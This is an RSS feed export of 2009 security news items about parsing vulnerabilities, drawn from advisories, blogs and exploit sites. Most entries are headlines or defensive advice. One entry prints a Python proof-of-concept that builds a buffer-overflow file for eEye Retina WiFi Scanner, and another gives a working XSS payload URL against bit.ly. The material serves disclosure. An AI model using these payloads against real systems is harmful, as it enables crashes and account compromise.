<item><title>Produits Sun Multiple XML Parsing   Déni de Service</title><description>2009-12-15 13:19:54 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Une vulnérabilité a été rapportée dans Sun Java System Application Server et Sun GlassFish Entreprise Serveur, qui pourrait être exploitée par des personnes malintentionnées pour causer un Déni de Service  DoS  </description><link>http://www.secuobs.com/revue/news/172212.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/172212.shtml</guid></item>
<item><title>Mozilla Thunderbird Floating Point Parsing Corruption de la Mémoire</title><description>2009-12-15 01:47:06 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Une vulnérabilité a été identifiée dans Mozilla Thunderbird, qui pourrait être exploitée par des personnes malintentionnées pour potentiellement compromettre le système d'un utilisateur</description><link>http://www.secuobs.com/revue/news/171914.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/171914.shtml</guid></item>
<item><title>Sunbird Floating Point Parsing   Vulnérabilité de Corruption de Mémoire</title><description>2009-12-15 01:47:06 - Bulletins et Alertes de Sécurité SECURINFOS.INFO : Une vulnérabilité a été identifiée dans Sunbird, qui pourrait être exploitée par des personnes malintentionnées pour potentiellement compromettre un système vulnérable</description><link>http://www.secuobs.com/revue/news/171912.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/171912.shtml</guid></item>
<item><title>Microsoft Windows Indeo32 Codec Parsing Heap Corruption Vulnerability</title><description>2009-12-10 05:01:27 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/170452.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/170452.shtml</guid></item>
<item><title>Hand Parsing Packets for False Negative Glory</title><description>2009-12-03 21:47:56 - Security Bloggers Network : Yesterday, on the Snort-Sigs mailing list, we had a report of a potential false-negative in an older Snort rule While he was unable to provide a full packet capture at the time, the author of the email was able to provide a copy-paste of the packet d </description><link>http://www.secuobs.com/revue/news/168340.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/168340.shtml</guid></item>
<item><title>XSS Weakness in strip_tags and some notes on parsing HTML XML</title><description>2009-11-28 16:06:24 - Ruby on Rails Security Project :    There is another Cross-Site Scripting  XSS  Weakness in the Rails method strip_tag  The problem was found in the HTML Tokenizer which has bugs when parsing non-printable ASCII characters According to the original post, this has been fixed in Rails 235 and there is a patch for the 22 branch Earlier versions are unsupported Upgrade to a newer version if you make use of this method The workaround is this  Users using strip_tags can pass the resulting output to the regular escaping functionality   However, this is not how it should be The strip_tags  method should work correctly The workaround does work, but strip_tags  is based on HTML Tokenizer which uses a very naive approach to parsing HTML code It is based on regular expressions to analyze the code For serious enterprise implementations, you should not use an error-prone parser library   The REXML is a little better, but not very fast for large amounts of data It has some bugs and it's not 100pourcents standard compliant For larger amounts of data, it may even be used to use a pull parser  REXML Parsers PullParser Some people have successfully parsed HTML with it   And there is libxml, which is a real parser, now with ruby bindings We haven't used it with  X HTML, though It has a pull parser too, which works quite like the REXML pull parser   Update  If you're using JRuby, you can use tried and tested Java XHTML XML parsers For example Apache Xerces or the pull parser Woodstox which supports  almost well-formed  documents  like legacy  X HTML content  </description><link>http://www.secuobs.com/revue/news/165983.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/165983.shtml</guid></item>
<item><title>Secunia  Gimp BMP Image Parsing Integer Overflow Vulnerability</title><description>2009-11-22 13:19:11 - Rootsecure.net : Secunia  Gimp BMP Image Parsing Integer Overflow Vulnerability </description><link>http://www.secuobs.com/revue/news/163926.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/163926.shtml</guid></item>
<item><title>Font Directory Entry Parsing Vulnerability In win32ksys</title><description>2009-11-10 21:56:43 - Security Research   Defense :    MS09-065 addresses a vulnerability  CVE-2009-2514  in the font parsing subsystem of win32ksys If not addressed, this vulnerability could allow an attacker to bluescreen  DoS  the machine  best case scenario  or run code of his her choice, possibly in the context of the kernel  worst case scenario  In this blog entry, I'll attempt to answer a few questions regarding the vulnerability addressed in this month s win32ksys security update  What is the issue  An integer-wrapping vulnerability exists in the font parsing subsystem within win32ksys, which is responsible for constructing a table of directory entries The integer wrap can occur when adding a directory entry s  offset and size members, which could lead to improper memory access in subsequent code This improper memory access would commonly be observed in the form of a Read Access Violation The severity rating of critical was chosen since the vulnerable code is exposed through Internet Explorer and can be exercised without user interaction notification It has also been given an Exploitability Index rating of 1 What platforms are affected  Users of Windows 2000, Windows XP, and Windows Server 2003 are affected by this vulnerability Windows Vista, Windows 7, Windows Server 2008, and Windows 2008 R2 users are not affected What are the attack vectors  Remote attack vectors  worst case scenario is Remote code Execution  - Malicious fonts  TTF s  delivered within eot files hosted on malicious web sites which are rendered in all versions of Internet Explorer by default - Malicious office documents e-mailed to victims with social engineering to entice the victim to open the document which contains a malformed embedded font which would then be rendered upon opening the Office document  PowerPoint and Word documents are the most likely attack vectors  Local attack vectors  worst case scenario is Local Elevation of Privilege  - Malicious fonts  TTF s  delivered to win32ksys by an authenticated user in a multi-user environment  Terminal Services  TS  scenario Such scenarios might abuse AddFontResource  to achieve this How do I protect myself  The best option for protecting against this vulnerability is to apply the update for MS09-065 If you are unable to apply the update, another option is to disable support for parsing loading embedded fonts in IE The side effect of this approach is that it will cause web sites which make use of embedded font technology to fail to render properly The steps involved in disabling support for parsing embedded fonts in IE are as follows  Interactive   Launch Internet Explorer   On the  Tools  Menu select  Internet Options    Click the  Security  Tab   To change the setting for the  Internet  zone select  Internet  and press the  Custom Level  button   Scroll down to the  Downloads  section and select  Prompt  or  Disable  for the  Font Download  security setting   Press OK to close the  Security Settings  dialog box   Press OK to close the  Internet Options  dialog box Disable IE Font Parsing Group Policy NOTE  The Group Policy MMC snap-in can be used to set policy for a machine, for an organizational unit or an entire domain It is assumed that the reader will know how to deploy the steps below for their particular environment   Open the group policy management and configure it to work with the appropriate group policy object  ie local machine, OU or domain GPO    Navigate to the following node  o User Configuration - Windows Settings - Internet Explorer Maintenance - Security   Double click  Security Zones and Content Rating    On the  Security Zones and Content Rating  dialog box select  Import the current security zones and privacy settings  and then click the  Modify settings  button   NOTE  This will create a group policy for Internet Explorer based on the settings of the currently logged in user   On the  Internet Properties  dialog box ensure the  Internet  zone is selected and then press  custom level    Scroll down to  Downloads  and set  Font Download  to  Prompt  or  Disable    Press OK to return to the  Internet Properties  dialog box   On the  Internet Properties  dialog box select the  Local Intranet  zone and then press  custom level    Scroll down to  Downloads  and set  Font Download  to  Prompt  or  Disable    Press OK to return to the  Internet Properties  dialog box   Press OK to return to the  Security Zones and Content Ratings  dialog box   Press OK to return to the group policy management console   Refresh the group policy on all machines or wait for the next scheduled group policy refresh interval for the settings to take effect Managed Deployment Script This security setting can be manually entered into the registry by creating a registry script and importing it either by double clicking it or running regeditexe as part of a logon or machine startup script For managed deployments Regeditexe can be used to import a registry script silently with the  -s  switch For more information on regedit command line switches refer to  http supportmicrosoftcom kb q82821  To set this setting to  Prompt  for the Internet and Local Intranet Zones paste the following text into a REG file and then import the REG file on managed machines as part of your organizations managed deployment process  Windows Registry Editor Version 500   Zone 1 is the local intranet zone   1604 is the Font download policy   dword 00000001 sets the policy to prompt  HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Internet Settings Zones 1   1604 dword 00000001   Zone 3 is the internet zone  HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Internet Settings Zones 3   1604 dword 00000001 To set this setting to  Disable  for the Internet and Local Intranet Zones paste the following text into a REG file and then import the REG file on managed machines as part of your organizations managed deployment process  Windows Registry Editor Version 500   Zone 1 is the local intranet zone   1604 is the Font download policy   dword 00000003 sets the policy to disable  HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Internet Settings Zones 1   1604 dword 00000003   Zone 3 is the internet zone  HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Internet Settings Zones 3   1604 dword 00000003 Big thanks to Robert Hensing from the MSRC Engineering Team for his work on defensive workarounds for this issue as well as to Andrew Roths from the MSRC Engineering Team -Brian Cavenah, MSRC Engineering  IMAGE  </description><link>http://www.secuobs.com/revue/news/159530.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/159530.shtml</guid></item>
<item><title>Free Utility For Parsing out Deleted SMS from IPhone DBs</title><description>2009-11-05 05:16:17 - Mobile Device Forensics : Here s a cool utility for parsing out deleted SMS from existing IPhone SQLLite SMS Dbs http riactantwordpresscom 2009 09 09 iphone-sms-retriever-utility-for-windows  </description><link>http://www.secuobs.com/revue/news/157578.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/157578.shtml</guid></item>
<item><title>Mozilla Firefox GIF Color Map Parsing Buffer Overflow Vulnerability</title><description>2009-10-28 22:39:21 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/155001.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/155001.shtml</guid></item>
<item><title>Microsoft Windows GDI  TIFF File Parsing Buffer Overflow Vulnerability</title><description>2009-10-14 02:54:56 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/150179.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/150179.shtml</guid></item>
<item><title>Nmap XML Parsing with Windows PowerShell Video Tutorial</title><description>2009-10-07 16:43:49 - SecurityTube.Net : Nmap XML Parsing with Windows PowerShell Video Tutorial IMAGE  </description><link>http://www.secuobs.com/revue/news/148218.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/148218.shtml</guid></item>
<item><title>Changeset  7110  Catch parsing errors in the inputrc file </title><description>2009-10-02 05:59:23 - Metasploit :    Catch parsing errors in the inputrc file </description><link>http://www.secuobs.com/revue/news/146732.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/146732.shtml</guid></item>
<item><title>Parsing job Files</title><description>2009-09-28 17:15:15 - Windows Incident Response : John McCash recently posted an interesting article to the SANS Forensic blog on decoding the binary Scheduled Task job file format  John's article referred to tasks created using atexe  Based on John's article, I wrote a Perl script that parses the binary structure of the job file header, and also gets some of the variable data that follows the header For right now, I've got a number of the header fields translated and extracted, and I've been testing against a couple of job files I've created on my own system  the output appears as follows  C Perl forensicsjobparsepl d cases applejob Command    C Program Files Apple Software Update SoftwareUpdateexe -task Status   Task is disabled Last Run Date  Thu Jul 16 16 21 00 2009 Exit Code   0x0 So, this is a good start I've had engagements where analysis of the Scheduled Tasks log file proved to be critical, so I can see how being able to get details from the job file might also be important Also, as John pointed out, information about the binary structure of job files may assist you if you find indications of deleted job files in unallocated space If you get a hit and are able to backtrack a bit, you may find enough information in unallocated space to be able to decipher the header fields As a side note, I did find some minor issues with how the MS documentation identifies some of the fields in the structures  for example, the documentation shows a total of 9 2-byte fields for the UUID, but UUIDs are defined as being 128-bits long  ie, 8 bytes  this threw my initial parsing code off by 2 bytes Interestingly enough, this applies to Windows XP systems, and the last run time for the job is maintained in the header as a 128-bit wide field  here I was thinking that the new date format was only part of Vista and Windows 7  Eesh  Addendum  Interesting thoughtthe timestamps  and other data  embedded in job files are updated when the task is run  therefore, this information can be used to provide indications of activity that modifies file MAC times, such as AV scanning, searches, or AF tactics IMAGE  </description><link>http://www.secuobs.com/revue/news/145112.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/145112.shtml</guid></item>
<item><title>MS09-029  Vulnerabilities in the EOT parsing engine</title><description>2009-09-03 12:05:16 - Security Research   Defense :    Today we released MS09-029, which addresses vulnerabilities related to EOT font files To answer a few commonly asked questions, here is a brief FAQ regarding the update  Q  What is the EOT file format  A  EOT stands for Embedded OpenType Font EOT support in Microsoft applications has existed for many years It allows the fonts used in the creation of a document to travel with that document, ensuring that a user sees documents exactly as the designer intended them Font embedding technology also exists on the web, allowing web pages to embed their own fonts Q  What is the risk  A  Two commonly used applications which consume EOT files are Internet Explorer and Microsoft Office A snippet of html used to render a specific font in Internet Explorer would look something like this    font-face   font-family   zhfont  src  url fooeot     It possible to navigate to a web site and have it render HTML, which then attempts to load a malicious font file As a result, there is a  browse and get owned  attack scenario and we recommend updating your system as soon as you can Q  How effective are the different workaround options listed in the bulletin  A  The different workaround options listed in the bulletin are all effective, though ACL'ing t2embeddll is perhaps the best cross-product method workaround because it will prevent unidentified applications from loading t2embeddll as well Do remember that if you choose to ACL the binary as a workaround, you will need to un-ACL it before applying security update or update will fail Q  If I ACL t2embeddll, will IE Office still work  A  Yes If you browse to a site which tries to install a font, you will be able to view the site though you will not render the font provided by that site Q  Is the EOT functionality reachable through 3rd party code  A  Yes The t2embed library provides EOT functionality that can be used by 3rd party code Many 3rd parties import t2embed for their font rendering, though some may chose to implement their own font rendering - Brian Cavenah, MSRC Engineering  Posting is provided  AS IS  with no warranties, and confers no rights   IMAGE  </description><link>http://www.secuobs.com/revue/news/137362.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/137362.shtml</guid></item>
<item><title>w2k iis 50 60 ftp 0day and ftp log parsing</title><description>2009-08-31 23:08:53 - terminal23 : This morning a 0day for Microsoft Windows 2000 IIS 50 60 FTP server was announced on Full-disclosure  and milw0rm  From the sounds of it, this may require a valid set of credentials and thus be more of a priv escalation than a remote r00t, but close enough to be a bit worried  Do you trust your FTP outsiderrusers  I have a friend who has an old Windows 2000 FTP server he can't take down and it open to the Internet  with valid login information  One way to initially minimize the risk on this vulnerability is to limit those who can connect through your border perimeter firewall to the FTP service to only those people who have a legitimate need If you don't have such information available, perhaps the log files will give an accurate history of valid users  If nothing else, this is better than nothing to go on, especially until more information on this vulnerability comes out Thankfully my friend does have a lengthy store of FTP logs, and this quick script I banged out will pull out unique IP addresses, quick and dirty-like I basically search for lines in the logs that contain  PASS - 230  which is the code for an accepted password  alllogs   Get-ChildItem  C somepath ftplogs   whitelist     foreach  logfile in  alllogs   logcontents   get-content  C somepath ftplogs logfile  foreach  logline in  logcontents  if  loglineContains PASS - 230   whitelist    loglineSplit   1       whitelist  Sort-Object  Get-Unique </description><link>http://www.secuobs.com/revue/news/136302.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/136302.shtml</guid></item>
<item><title>Autonomy KeyView Excel File SST Parsing Integer Overflow Vulnerability</title><description>2009-08-25 23:35:47 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/134387.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/134387.shtml</guid></item>
<item><title>Changeset  6970  Fix a pile of identBuf parsing issues that occur if you forget an argument  </title><description>2009-08-21 19:57:29 - Metasploit :    Fix a pile of identBuf parsing issues that occur if you forget an argument  </description><link>http://www.secuobs.com/revue/news/133215.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/133215.shtml</guid></item>
<item><title>Security Tracker  Kaspersky Internet Security URL Parsing Error Lets Remote Users Deny Service</title><description>2009-08-21 02:19:16 - Rootsecure.net : Security Tracker  Kaspersky Internet Security URL Parsing Error Lets Remote Users Deny Service </description><link>http://www.secuobs.com/revue/news/133009.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/133009.shtml</guid></item>
<item><title>XML Libraries Data Parsing Vulnerabilities,  Sat, Aug 8th </title><description>2009-08-08 21:02:21 -       SANS Internet Storm Center  InfoCON  green : We have received reports that several vulnerabilities have been discovered in XML library implementa  more  </description><link>http://www.secuobs.com/revue/news/129260.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/129260.shtml</guid></item>
<item><title>Adobe Flash Player URL Parsing Heap Overflow Vulnerability</title><description>2009-08-07 07:09:49 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/128720.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/128720.shtml</guid></item>
<item><title>MS-Internet-Explorer-findText-Unicode-Parsing-Errorpcap</title><description>2009-08-01 00:23:40 - pcapr updates : http wwwmilw0rmcom exploits 9253  7 packets, 3 KB  </description><link>http://www.secuobs.com/revue/news/127092.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/127092.shtml</guid></item>
<item><title>MS Internet Explorer 7 8 findText Unicode Parsing Crash Exploit</title><description>2009-07-24 21:14:33 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/124484.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/124484.shtml</guid></item>
<item><title>Ruby  Parsing an IP List to Send to IpInfoDB</title><description>2009-07-20 06:17:42 - Security Bloggers Network : require 'rubygems' require 'hpricot' require 'open-uri' Fileopen ' Users daniel Development ips' each   line doc   Hpricot open http ipinfodbcom ipqueryphp ip line   doc 'response' each doel ip    el 'ip' innerhtml country    el 'countrycode' innerhtml state    el 'regionname' innerhtml city    el 'city' inner_html puts  ip , country , state , city  end   Now to send it to a csv file for import into Excel Related PostsA Simple Script for Harvesting DNS, Country, State, and    </description><link>http://www.secuobs.com/revue/news/122542.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/122542.shtml</guid></item>
<item><title>Honeysnap   Pcap Packet Capture File Parsing Tool</title><description>2009-07-11 22:22:30 - bLackhammer.org : Honeysnap is designed to be a command line tool for parsing single or multiple pcap data files and producing a  first cut  analysis report that identifies significant events within the processed data This presents security analysts with a pre prepared menu of high value network activity, aimed at focusing manual forensic analysis and saving significant incident investigation time    </description><link>http://www.secuobs.com/revue/news/119355.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/119355.shtml</guid></item>
<item><title>eEye Retina WiFi Security Scanner 10 rws Parsing Buffer Overflow PoC</title><description>2009-07-11 03:48:07 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/119052.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/119052.shtml</guid></item>
<item><title>Retina WiFi Security Scanner 10 rws parsing Buffer Overflow Vulnerability</title><description>2009-07-10 06:22:23 - LiquidWorm's Blog :    #/usr/bin/python### * Title: Retina WiFi Security Scanner 10 rws parsing BufferOverflow Vulnerability### * Summary: Retina WiFi Scanner is a tool to be used to detect IEEE80211 WiFi based devices# * Vendor: eEye Digital Security Inc# * Product Web Page: http://wwweeyecom/# * Current Version: 10868# * Notiz: The tool is implemented as part of the eEye's RetinaNetwork Security Scanner package# * Tested On Microsoft Windows XP Professional SP3 English## * Vulnerability Discovered By Gjoko 'LiquidWorm' Krstic# * liquidworm gmail com# * http://wwwzeroscienceorg# * 16052009## * Original Advisory:http://wwwzeroscienceorg/codes/retinawifi_boftxt### *--------------------------------windbg----------------------------------*## 1268dd8: Access violation - code c0000005 first chance# First chance exceptions are reported before any exception handling# This exception may be expected and handled# eax=41414141 ebx=00000003 ecx=000006d8 edx=00000000 esi=0000006cedi=10264da0# eip=1001dcce esp=0012e72c ebp=0012e754 iopl=0 nv up ei pl nz na penc# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206# *** Defaulted to export symbols for pathWiFiCoredll -# WiFiCoreLibWifi_ReportHTML+0x1b48e:# 1001dcce f644300401 test byte ptr eax+esi+4,1 ds:0023:414141b1=# 0:000 g# 1268dd8: Access violation - code c0000005 first chance# First chance exceptions are reported before any exception handling# This exception may be expected and handled# eax=00000010 ebx=41414141 ecx=00000000 edx=41414141 esi=00001000edi=41414150# eip=7c809eda esp=00121484 ebp=001214b0 iopl=0 nv up ei pl zr na penc# cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246# *** Defaulted to export symbols for pathkernel32dll -# kernel32IsBadReadPtr+0x39:# 7c809eda 8a02 mov al,byte ptr edx ds:0023:41414141=## *-------------------------------/windbg----------------------------------*### * Disclosure Timeline:## * 16052009 Vulnerability discovered# * 16052009 Initial contact with the vendor with descriptionincluded + screenshot + proof# of concept code# * 18052009 Vendor contacted again for confirmation of thevulnerability because of no reply# from previous e-mail# * 18052009 Vendor replied and acknowledged the vulnerabilityPatch development process in# progress# * 25052009 Vendor contacted for information on patch developmentand its release process# because of our advisory disclosure policy# * 29052009 Vendor contacted again for information on patchdevelopment because of no reply# from previous e-mail# * 29052009 Vendor answered Bug fixes scheduled within nextweek# * 08062009 Vendor contacted for an accurate date of a patchrelease or scheduled bug fix# time line information# * 08062009 Vendor replied and confirmed that the vulnerabilityhas been mitigated and passed# the QA The fix will be introduced in the next release of theproduct Scheduled# date for the release of the update is not yet knownorit'sunknown :# * 12062009 Vendor informs that the fix will be released alongwith the new scheduled release# of the Retina package approximately on 29th of June# * 29062009 Contacted the vendor, asked for a more accuratefixed date of the release# * 29062009 Vendor says that the patch is being tested by the QAteam along with other program# * fixes Vendor will contact me after the tests, with the resultsfrom the same# * 06072009 Sent an e-mail to the vendor stating that theadvisory is planned to be published# * on 10th of july because of internal company reasons# * 09072009 No reply from the vendor# * 10072009 Public advisory released#### * Pozdrav Do:## * sm, thricer, drowsy, Jayji, Leon Juranic,# * teppei, n3tpr0b3, DrunkY, apo, Aodrulez,# * kokanin, ewiZz, j0rgan, str0ke, Uploader,# * Jonathan Salwan, Sergio 'shadown' Alvarez,# * Malformation, dz0, d3, Greg Linares, lio,# * mio, drown, dni, Damjan, Maximiliano Soler,# * leetgeek, Preddy, Gliser, eSDee i td :### * Proof Of Concept:##=========================================*snip*=========================================#header = "x52x57x53""x30x31x30""x19x52x76""x00"buffer = "x41" * 1574624 #Bytes/chars#1574622 No issues#1574623 BoF, Access violation when reading random#1574624 BoF, Access violation when reading 414141B1#payload = header + bufferfile = "Abuliarws"filetzio=openfile,'w'filetziowritepayloadfiletziocloseprint "+ File " + file + " successfully landed"#=========================================*snip*=========================================################################################################################### ## * Disclaimer: ## ## * This document and all the information it contains are provided "asis", ## * for educational purposes only, without warranty of any kind,whether ## * express or implied ## ## * The author reserves the right not to be responsible for thetopicality, ## * correctness, completeness or quality of the information providedin ## * this document Liability claims regarding damage caused by the useof ## * any information provided, including any kind of information whichis ## * incomplete or incorrect, will therefore be rejected ## ##################################################################################http://zeroscienceorg/codes/retinawifi_boftxtt00tIMAGE</description><link>http://www.secuobs.com/revue/news/118652.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/118652.shtml</guid></item>
<item><title>Parsing Quirk Causes bitly XSS</title><description>2009-06-24 21:59:28 - skeptikal.org : Fun fact: When your browser parses a document, it locates  and tags before evaluating the javascript within While thisappears to make sense, it creates an interesting quirk- injected tags, even within quoted javascript strings, will force itto end a block of javascript code and throw a parse error It willalso allow you to start a new block of unquoted and therefore,executed codeI put together a basic demonstration of this quirk a while ago andbounced it off a few people As it turns out, this is known behavior,and was even used in one of the first examples on RSnake's XSS CheatSheetArguably, this is not really even a bug It stems from the order inwhich the document is parsed- structure tags is handled beforeparsing javascript content I looked into the various standards thatapply and didn't see anything dictating how this behavior should behandled, but I confess I didn't look that hardAt any rate, the reason I'm writing about it today is because I foundan XSS hole in the popular URL shortener, bitly This can be used tocompromise browsing history, tamper with a user's bitly settings, andeven abuse Twitter accounts they have a Twitter APIDue to the nature of the exploit the link only works once, so I can'tsend you directly there However, if you take the following URL andmake "CHANGEME" a unique string, it should workhttp://bitly/url=http%3A%2F%2Fskeptikalorgetkeyword=%22%3C/script%3E%3Cscript%3Ealert1337%3C/script%3ECHANGEMEWhile it's generally known that putting user-supplied input intoexecutable code is a bad idea, many developers still do it, especiallywith javascript Don't assume that just because the input is wrappedin quotes, it will not be XSS-ableIMAGE</description><link>http://www.secuobs.com/revue/news/113309.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/113309.shtml</guid></item>
<item><title>Honeysnap – Pcap Packet Capture File Parsing Tool</title><description>2009-06-15 14:16:22 - Darknet  The Darkside : </description><link>http://www.secuobs.com/revue/news/109744.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/109744.shtml</guid></item>
<item><title>Winamp 5551 MAKI Parsing Integer Overflow Exploit</title><description>2009-05-26 16:39:26 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/101745.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/101745.shtml</guid></item>
<item><title>Winamp 5551 MAKI Parsing Integer Overflow PoC</title><description>2009-05-22 23:36:05 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/100755.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/100755.shtml</guid></item>
<item><title>Winamp MAKI Parsing Vulnerability Details</title><description>2009-05-21 08:09:21 - Security Bloggers Network : About two months ago, we found a vulnerability in the Winamp 555 MAKIscript parsing module We reported our findings to AOL AOL thenreleased Winamp version 5552 with the fix Here are thedetails:Winamp MAKI Parsing Integer Overflow VulnerabilityV</description><link>http://www.secuobs.com/revue/news/99889.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/99889.shtml</guid></item>
<item><title>Grabit = 172 beta 3 NZB file parsing stack overflow</title><description>2009-05-04 08:39:24 - blog.teusink.net : I can’t usually find the time for vulnerability research, but a while agoI found a bug in Grabit, a popular usenet client with NZB support Iposted the following message to Bugtraq and Full Disclosure today:Grabit = 172 beta 3 NZB file parsing stack overflowImpact: Remote code executionVersion: = 172 beta 3DescriptionGrabit is a popular Windows usenet client designed for downloadingbinary files It has support for NZB files, which a user would usuallyacquire from an external source Version 172 beta 3 is vulnerable toa stack overflow when parsing DTD references in NZB files Earlierversions are vulnerable as well Reliable exploitation is prettystraightforwardFixI reported this to the author a while ago He has now released version172 beta 4, which fixes the bug It can be downloaded athttp://wwwshemescom/IMAGE</description><link>http://www.secuobs.com/revue/news/91669.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/91669.shtml</guid></item>
<item><title>Autonomy KeyView Word Perfect File Parsing Buffer Overflow Vulnerability</title><description>2009-04-29 21:25:16 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/90143.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/90143.shtml</guid></item>
<item><title>Sun Java Runtine Environment JRE Type1 Font Parsing Integer Signedness Vulnerability</title><description>2009-04-29 21:25:16 - iDefense Public Vulnerability Disclosures : </description><link>http://www.secuobs.com/revue/news/90137.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/90137.shtml</guid></item>
<item><title>MoBP SOAP parameter parsing</title><description>2009-04-29 12:56:40 - PortSwigger.net  web application security : </description><link>http://www.secuobs.com/revue/news/89725.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/89725.shtml</guid></item>
<item><title>Vuln: 010 Editor File Parsing Multiple Buffer Overflow Vulnerabilities</title><description>2009-04-22 21:42:58 - ReverseConnection :  010 Editor File Parsing Multiple Buffer Overflow Vulnerabilities Source:click here</description><link>http://www.secuobs.com/revue/news/86784.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/86784.shtml</guid></item>
<item><title>Mozilla Firefox XSL Parsing Remote Memory Corruption PoC #2</title><description>2009-04-06 19:22:08 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/80072.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/80072.shtml</guid></item>
<item><title>Safari 322/4b nested elements XML Parsing Remote Crash Exploit</title><description>2009-03-31 19:08:15 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/77413.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/77413.shtml</guid></item>
<item><title>Opera 964 7400 nested elements XML Parsing Remote Crash Exploit</title><description>2009-03-30 22:32:58 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/77030.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/77030.shtml</guid></item>
<item><title>Module: Mozilla Firefox XSL Parsing Remote Memory Corruption PoC</title><description>2009-03-29 15:59:46 - BindShell.Net :  I have just created a BeEF module for the Mozilla Firefox XSL ParsingRemote Memory Corruption Proof of Concept When executed it will crashthe Firefox zombie So don't expect the to see the zombie in BeEFafterward</description><link>http://www.secuobs.com/revue/news/76518.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/76518.shtml</guid></item>
<item><title>Vuln: Mozilla Firefox XSL Parsing ‘root’ XML Tag Remote Memory Corruption Vulnerability</title><description>2009-03-25 19:42:13 - ReverseConnection :  Mozilla Firefox XSL Parsing ‘root’ XML Tag Remote Memory CorruptionVulnerability Source: click here</description><link>http://www.secuobs.com/revue/news/75179.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/75179.shtml</guid></item>
<item><title>Mozilla Firefox XSL Parsing Remote Memory Corruption PoC 0day</title><description>2009-03-25 17:11:59 - milw0rm.com : </description><link>http://www.secuobs.com/revue/news/75085.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/75085.shtml</guid></item>
<item><title>Vuln: FFmpeg File Parsing Multiple Buffer Overflow Vulnerabilities</title><description>2009-03-20 18:22:51 - ReverseConnection :  FFmpeg File Parsing Multiple Buffer Overflow Vulnerabilities Source:click here</description><link>http://www.secuobs.com/revue/news/73207.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/73207.shtml</guid></item>
<item><title>Bugtraq: Re: iDefense Security Advisory 031709: Autonomy KeyView Word Perfect File Parsing Buffer Overflow Vulnerability</title><description>2009-03-19 18:41:40 - ReverseConnection :  Re: iDefense Security Advisory 031709: Autonomy KeyView Word PerfectFile Parsing Buffer Overflow Vulnerability Source: click here</description><link>http://www.secuobs.com/revue/news/72801.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/72801.shtml</guid></item>
<item><title>Perl scripts for parsing PDFs, MACs, IPs, URLs, etc</title><description>2009-02-25 15:54:22 - SANS Computer Forensics, Investigation, and Response : By Michael Cloppert I hoped to be writing to you about how I found agreat chi-square technique to identify trojaned PDF’s we’ve certainlyseen our share - 81, 811, and now 83/90… Sadly, it’s not so Icouldn’t even get as far as rejecting my null hypothesis sincecomponent bytes, as random variables, are - </description><link>http://www.secuobs.com/revue/news/65105.shtml</link><guid isPermaLink="false">http://www.secuobs.com/revue/news/65105.shtml</guid></item>
